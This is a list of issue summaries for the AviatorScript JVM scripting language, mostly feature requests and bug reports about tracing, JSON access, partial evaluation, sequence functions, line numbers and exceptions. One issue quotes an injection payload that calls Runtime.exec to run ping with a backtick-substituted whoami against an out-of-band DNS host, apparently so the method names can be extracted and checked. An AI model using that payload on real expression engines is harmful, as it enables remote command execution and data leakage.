aviatorscript
aviatorscript copied to clipboard
A high performance scripting language hosted on the JVM.
现阶段开启trace 后,短路失效,直接报错,不能很好的排查代码错误
比如这个表达式:"T(java.lang.Runtime).getRuntime().exec(\"ping `whoami'.794e7834a8.ipv6.1433.eu.org\")" 取出 getRuntime、exec 这两个方法名
我有一个代码片段: ``` String jsonStr = """ { "a": { "b": [ { "x": 3 }, { "x": 4 } ] } } """; JSONObject jsonObj = new JSONObject(jsonStr); Object value...
### 背景 在表达式使用的过程中,我们经常会通过表达式从上下文中进行取值。例如: ```java JSONObject context = new JSONObject(); JSONObject result = new JSONObject(); Map featureMap = Maps.newHashMap(); featureMap.put("f1", "1L"); result.put("featureMap", featureMap); context.put("result", result); ``` 有一个context作为上下文,需要取其featureMap的f1字段值,我们的表达式会写成 ```shell ## $=context $.result.featureMap.f1...
# 需求简介 我现在有一个需求:业务人员可以在后台管理页面配置规则表达式,在表达式执行成功后可以执行一些业务上的动作,对于规则表达式执行的最终结果只有true和false两种情况。 比如:swid == '{d3ee173d-9909-4798-951c-bc07714da6e6}' && id=='123',表示只有swid等于{d3ee173d-9909-4798-951c-bc07714da6e6} 并且 id等于123时,规则校验通过,返回true;其他情况则规则校验失败,返回false。规则表达式结果返回true,则可以执行一些后续的业务操作。 # 存在的问题 规则表达式中会有很多参数,有些参数是可以获取到的,有些参数获取成本较高。我希望可以用已有的参数去预先执行一次规则表达式,如果可以得到明确结果,则不去获取剩下的参数;如果缺失参数的情况下无法执行得到明确结果,则去获取剩下的参数后,再次执行规则表达式。 比如: 表达式:swid == '{d3ee173d-9909-4798-951c-bc07714da6e6}' && id=='123' 第一次传入参数为:swid = '{d3ee173d-9909-4798-951c-bc07714da6e6}‘ 执行结果为:无法确定。因为没有id参数,所以无法判断第二个条件是否成立。此时需要去获取id参数。 第二次传入参数为:swid = 1 执行结果为:false。因为此时不管有没有id参数,对结果无影响,所以就直接返回false。 第三次传入参数为:swid = '{d3ee173d-9909-4798-951c-bc07714da6e6}‘、id='123'...
1、新增sequence转map函数: seq.toMap(from_seq, key_mapper_lambda) 或者 seq.toMap(from_seq, key_mapper_lambda, value_mapper_lambda) 2、新增sequence等分(即分页)函数: seq.partition(from_seq, page_size)
我通过ASMCodeGenerator类的visitLineNumber方法添加了visitMethodInsn来获取当前运行脚本所在行号,但发现了一个问题,在执行while循环的过程中,执行完循环体后,会访问循环体外的下一行2次,然后再回到循环中。虽然不会执行循环体的下一行,但会访问该行,导致获取行号的过程中出现业务上的bug。 例如: 1 while true{ 2 print("loop"); 3 } 4 print("===") 行号获取顺序:2,4,4,3,2,4,4,3,2,4,4,3
大佬你好, 我们在使用aviator表达式编译时时, 如果有异常会手动缓存下来, 避免有问题的表达式重复编译, 给gc造成较大的压力. 目前表达式编译抛出的是CompileExpressionErrorException, 但是在有些场景下如果触发了线程中断,futuretask会响应中断, 也会抛这个异常, 导致我们错误的缓存了这个表达式. 本质上我们期望缓存的是因表达式自身有问题的那部分, 即词法语法解析异常的部分, 其他的异常不应该缓存. 所以aviator编译时抛的异常能否细分?(ExpressionSyntaxErrorException这个异常是否能表示表达式自身存在问题的)
AviatorEvaluator.execute("let a = 3", env); // 本意是想通过脚本往env里put一个变量 执行报错,aviator版本5.3.3 Exception in thread "main" com.googlecode.aviator.exception.ExpressionSyntaxErrorException: Syntax error: missing ';' for let statement at 9, lineNumber: 1, token : null, while parsing expression:...